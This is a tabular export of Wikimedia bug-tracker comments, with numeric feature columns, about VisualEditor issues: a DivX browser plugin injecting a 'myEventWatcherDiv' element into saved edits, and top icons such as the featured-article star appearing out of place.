user.,,,1377119871,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,22.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,11.0,22.0,0.0,4.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.185185185185185,0.9259259259259259,SCREEN_NAME: Should we go for silent remove on safe? Also we can start tracking it with information about logged in vs. logged out user.
247393,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","I am also curious to know why it only happens to anonymous editors - at least, all the occurrences I have seen so far.",,,1377119586,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,7,,4.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,19.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,8.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,3.6538461538461537,0.9230769230769231,"I am also curious to know why it only happens to anonymous editors - at least, all the occurrences I have seen so far."
247386,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page",On it.wp as well: http://it.wikipedia.org/w/index.php?title=Tank_Palamara&diff=60582899&oldid=60582688,,,1375696065,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8333333333333335,1.0,On it.wp as well: URL
247384,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page",Silently remove on save. Hacking blacklist will prevent people from saving and many of them are not technical enough to understand why - bad bad user experience.,,,1375286948,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,4,,3.0,0.0,0.0,0.0,3.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,7.0,0.0,0.0,0.0,4.655172413793103,0.9310344827586207,Silently remove on save. Hacking blacklist will prevent people from saving and many of them are not technical enough to understand why - bad bad user experience.
247381,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","(In reply to comment #8)
> As a workaround for now we could make VE remove those divs from the HTMLDOM
> that it is sending to MW API for serializing. @James: Should we do it?

You mean, have a blacklist of items to just silently remove on save? Could work as a quick hack.",,,1375286359,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,15.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,3.0,18.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.2941176470588234,0.8823529411764706,"(In reply to comment #8)
QUOTE
QUOTE

You mean, have a blacklist of items to just silently remove on save? Could work as a quick hack."
247378,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page",As a workaround for now we could make VE remove those divs from the HTMLDOM that it is sending to MW API for serializing. @James: Should we do it?,,,1374964307,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,22.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,12.0,19.0,9.0,3.0,0.0,0.0,12.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.84375,0.90625,As a workaround for now we could make VE remove those divs from the HTMLDOM that it is sending to MW API for serializing.SCREEN_NAME: Should we do it?
247375,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","(In reply to comment #6)
> Making this public since I don't see this having any security impact. Then
> the
> community can also give input into how they want to see it handled.

Thanks Chris",,,1374014416,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.7647058823529411,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE

Thanks Chris"
247371,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page",Making this public since I don't see this having any security impact. Then the community can also give input into how they want to see it handled.,,,1374014345,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,2,,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,13.0,10.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,10.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.9,Making this public since I don't see this having any security impact. Then the community can also give input into how they want to see it handled.
247368,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","(In reply to comment #2)
> It's certainly a type of edit we really don't
> want but more importantly I'm confused about how it's getting inserted and
> avoiding the normal VE/parser work flow which should <nowiki> it (instead of
> actually inserting it in as a div like it is now).
It's possible that the plugin inserts it in all <iframe>s. We use <iframe>s internally for encapsulating HTML documents.",,,1374013982,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,2,,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,19.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,7.0,12.0,16.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,3.441860465116279,0.7674418604651163,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
It's possible that the plugin inserts it in all <iframe>s. We use <iframe>s internally for encapsulating HTML documents."
247364,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","(In reply to comment #2)
> I'm confused about how it's getting inserted and
> avoiding the normal VE/parser work flow which should <nowiki> it (instead of
> actually inserting it in as a div like it is now).

It looks like it's bypassing the browser's events model and just inserting into the DOM, hence the issue. JS like VE isn't able to notice things outside the JS events model, sadly.",,,1374013882,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,17.0,0.0,2.0,7.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,4.0,13.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5,0.7222222222222222,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE

It looks like it's bypassing the browser's events model and just inserting into the DOM, hence the issue. JS like VE isn't able to notice things outside the JS events model, sadly."
247359,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","(In reply to comment #1)
> Hi James, the google consensus seems to be that a DivX plugin is inserting
> that. 
> 
> http://padawan.info/en/2011/03/wtf-is-this-myeventwatcherdiv-doing-in-my-web.
> html
> 
> I'm guessing that VE's interface suddenly looks like something the plugin was
> expecting to use in the browser, and so it silently adds the div.
> 
> We could add an abusefilter rule to block those edits, but that seems a
> little drastic.

Ideally we'd want a global AbuseFilter rule that just silently dropped the content from the edit, but that's not a feature AF currently does. :-)

Blocking is a bit strong, though possibly likely to happen from the community if we just warn users and they ignore. The only fix (other than getting the upstream plugin crap fixed, which seems unlikely) is to do the auto-drop in VE, which is icky too.",,,1374013806,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.5,7.5,2.5,0.0,1.0,1.0,1.5,0.5,0.0,1.0,0.0,1.5,0.0,5.0,7.5,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,6.0,0.0,0.0,2.0,0.0,1.0,1.5,0.0,0.5,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.5,8.5,0.5,0.0,1.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,6.5,2.5,10.0,1.5,1.5,8.5,0.0,1.0,0.0,0.5,2.5,0.0,0.5,0.0,2.0,7.5,6.5,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,1.5,0.0,0.0,0.0,3.603448275862069,0.7155172413793103,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Ideally we'd want a global AbuseFilter rule that just silently dropped the content from the edit, but that's not a feature AF currently does. :-)

Blocking is a bit strong, though possibly likely to happen from the community if we just warn users and they ignore. The only fix (other than getting the upstream plugin crap fixed, which seems unlikely) is to do the auto-drop in VE, which is icky too."
247354,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","yeah, that seems to be the consensus I could find too (which is very very weird... because I can't for the life of me find a 'legitimate' reason it should insert that into any page it can edit.. oh well certainly not the weirdest plugin BS I've seen). 

Actually I don't think that's very drastic to do, the community almost certainly would agree and I'd pass it off to them (though they'll likely blame us for it which is never fun). It's certainly a type of edit we really don't want but more importantly I'm confused about how it's getting inserted and avoiding the normal VE/parser work flow which should <nowiki> it (instead of actually inserting it in as a div like it is now).",,,1374013674,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,2,,0.5,0.0,1.5,0.0,2.0,4.5,1.0,0.5,0.5,0.0,2.0,5.0,0.0,0.5,0.0,5.0,0.0,12.5,10.0,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,2.0,0.0,7.0,2.5,5.5,0.5,0.0,0.5,0.5,0.0,0.5,0.0,1.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,6.5,1.0,0.5,0.5,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,2.0,0.0,1.0,0.0,0.5,0.0,4.5,2.5,5.5,2.5,2.0,7.5,0.0,0.0,0.0,0.0,5.5,1.5,0.0,0.0,12.0,10.0,0.5,0.0,1.0,0.0,12.0,0.0,2.5,2.0,2.0,2.0,0.5,0.5,2.0,3.605977355977356,0.7937062937062938,"yeah, that seems to be the consensus I could find too (which is very very weird... because I can't for the life of me find a 'legitimate' reason it should insert that into any page it can edit.. oh well certainly not the weirdest plugin BS I've seen). 

Actually I don't think that's very drastic to do, the community almost certainly would agree and I'd pass it off to them (though they'll likely blame us for it which is never fun). It's certainly a type of edit we really don't want but more importantly I'm confused about how it's getting inserted and avoiding the normal VE/parser work flow which should <nowiki> it (instead of actually inserting it in as a div like it is now)."
247349,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","Hi James, the google consensus seems to be that a DivX plugin is inserting that. 

http://padawan.info/en/2011/03/wtf-is-this-myeventwatcherdiv-doing-in-my-web.html

I'm guessing that VE's interface suddenly looks like something the plugin was expecting to use in the browser, and so it silently adds the div.

We could add an abusefilter rule to block those edits, but that seems a little drastic.",,,1374013374,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,2,,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,4.0,10.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,9.0,3.0,1.0,3.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,12.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,10.0,3.0,3.0,15.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,4.0,10.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.911764705882353,0.75,"Hi James, the google consensus seems to be that a DivX plugin is inserting that. 

URL

I'm guessing that VE's interface suddenly looks like something the plugin was expecting to use in the browser, and so it silently adds the div.

We could add an abusefilter rule to block those edits, but that seems a little drastic."
53420,"VisualEditor: Provide some way for out-of-skin places icons (e.g. featured star) to appear where they ""should"" and be editable","In view mode, [[Template:Top icon]] places the featured star or good article at the top right hand corner.

After loading a FA or GA or English Wikipedia, the featured star or good article icon appears where the template is, which is often down the bottom.  This is perfectly acceptable except for the 'where did it go?' feeling, but maybe a plugin could come up with a better UI design for topicons, geocoords, etc.

Also templates without any real estate (like {{Use dmy dates}} and {{Use Australian English}}) 'disappear' entirely.

https://en.wikipedia.org/wiki/Angels_Brought_Me_Here?veaction=edit

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51322",Low,25.0,1373941680,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-ee572n6mn4yah76xipnp,task_description,open,True,c1,3,False,False,,2,,0.5,0.0,1.0,0.0,0.0,5.5,1.0,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,4.5,5.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,4.0,1.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.5,12.5,1.5,3.0,6.5,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.5,5.5,4.0,0.5,2.5,0.0,0.5,0.0,1.5,1.5,0.0,0.5,0.5,0.0,2.5,3.5745044429254955,0.6467874231032126,"In view mode, [[Template:Top icon]] places the featured star or good article at the top right hand corner.

After loading a FA or GA or English Wikipedia, the featured star or good article icon appears where the template is, which is often down the bottom.  This is perfectly acceptable except for the 'where did it go?' feeling, but maybe a plugin could come up with a better UI design for topicons, geocoords, etc.

Also templates without any real estate (like {{Use dmy dates}} and {{Use Australian English}}) 'disappear' entirely.

URL

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
247164,"VisualEditor: Provide some way for out-of-skin places icons (e.g. featured star) to appear where they ""should"" and be editable","Now that bug 23796 is fixed, we ""just"" need to work out a way to let the user set/unset these (bug 72199) and then trap clicks on this area to open the meta dialog, I think?",,,1414441807,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ee572n6mn4yah76xipnp,task_subcomment,,True,c1,3,True,,,69,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,11.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,4.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,4.0,11.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.066666666666667,0.8666666666666667,"Now that bug 23796 is fixed, we ""just"" need to work out a way to let the user set/unset these (bug 72199) and then trap clicks on this area to open the meta dialog, I think?"
247160,"VisualEditor: Provide some way for out-of-skin places icons (e.g. featured star) to appear where they ""should"" and be editable","This is a rather more general problem with the Vector skin (there's desire to have flag icons from the content, but no ability other than a hack that's unsupportable in VisualEditor).",,,1380753138,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ee572n6mn4yah76xipnp,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,19.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,3.0,8.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,3.0,0.0,0.0,4.135135135135135,0.918918918918919,"This is a rather more general problem with the Vector skin (there's desire to have flag icons from the content, but no ability other than a hack that's unsupportable in VisualEditor)."
247155,"VisualEditor: Provide some way for out-of-skin places icons (e.g. featured star) to appear where they ""should"" and be editable","Bug 51322 fixed issues that were 'solely metadata', but these actually do produce elements, the problems that remain for these elements are:
1: incorrectly positioned
2: their template edit button, when selected is visually placed far from the content, making it difficult to find. bug 50854
3: if they were correctly positioned, they are 'decoupled' from their anchor point  which is a problem with templates producing floating content as well. bug 50907",,,1375717076,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-ee572n6mn4yah76xipnp,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,2.0,0.0,2.0,1.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,7.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,13.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,7.0,1.0,2.0,1.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,5.0,7.0,1.0,0.0,4.0,0.0,5.0,0.0,4.0,1.0,0.0,3.0,0.0,0.0,0.0,4.252747252747253,0.7142857142857143,"Bug 51322 fixed issues that were 'solely metadata', but these actually do produce elements, the problems that remain for these elements are:
1: incorrectly positioned
2: their template edit button, when selected is visually placed far from the content, making it difficult to find. bug 50854
3: if they were correctly positioned, they are 'decoupled' from their anchor point  which is a problem with templates producing floating content as well. bug 50907"
247149,"VisualEditor: Provide some way for out-of-skin places icons (e.g. featured star) to appear where they ""should"" and be editable","The meta-templates bug 51322 has been marked as fixed, but the issue of top icons is still ongoing.",,,1375710059,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ee572n6mn4yah76xipnp,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,5.0,0.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,5.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.727272727272727,1.0,"The meta-templates bug 51322 has been marked as fixed, but the issue of top icons is still ongoing."
247141,"VisualEditor: Provide some way for out-of-skin places icons (e.g. featured star) to appear where they ""should"" and be editable",'templates without any real estate' has been raised already as bug 51322 (meta templates).,,,1374037304,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ee572n6mn4yah76xipnp,task_subcomment,,True,c1,3,False,,,2,,5.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.052631578947368,0.8947368421052632,'templates without any real estate' has been raised already as bug 51322 (meta templates).
247132,"VisualEditor: Provide some way for out-of-skin places icons (e.g. featured star) to appear where they ""should"" and be editable","It is easy to delete these hidden templates without noticing.

e.g. delete the '↵' on Angels Brought Me Here.",,,1374035331,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ee572n6mn4yah76xipnp,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,20.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,12.0,12.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,3.72,0.88,"It is easy to delete these hidden templates without noticing.

e.g. delete the '↵' on Angels Brought Me Here."
247125,"VisualEditor: Provide some way for out-of-skin places icons (e.g. featured star) to appear where they ""should"" and be editable","The 'templates without any real estate' problem is raised here:

https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Time_for_an_essay

I'm not sure if a separate bug has been raised, or even should be.  The top icons and templates without any real estate all need a special UI, probably under 'page settings'.",,,1374034932,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ee572n6mn4yah76xipnp,task_subcomment,,True,c1,3,False,,,2,,5.0,0.0,0.0,4.0,2.0,11.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,2.0,0.0,7.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,9.0,2.0,4.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,4.0,0.0,7.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.642857142857143,0.75,"The 'templates without any real estate' problem is raised here:

URL

I'm not sure if a separate bug has been raised, or even should be.  The top icons and templates without any real estate all need a special UI, probably under 'page settings'."
53411,VisualEditor: Automatically build the option description for visualeditor-enable,"Forked from the original request at bug 48666 which was solved by making the preference hidden, as intended.

--------------------------
**Version**: unspecified
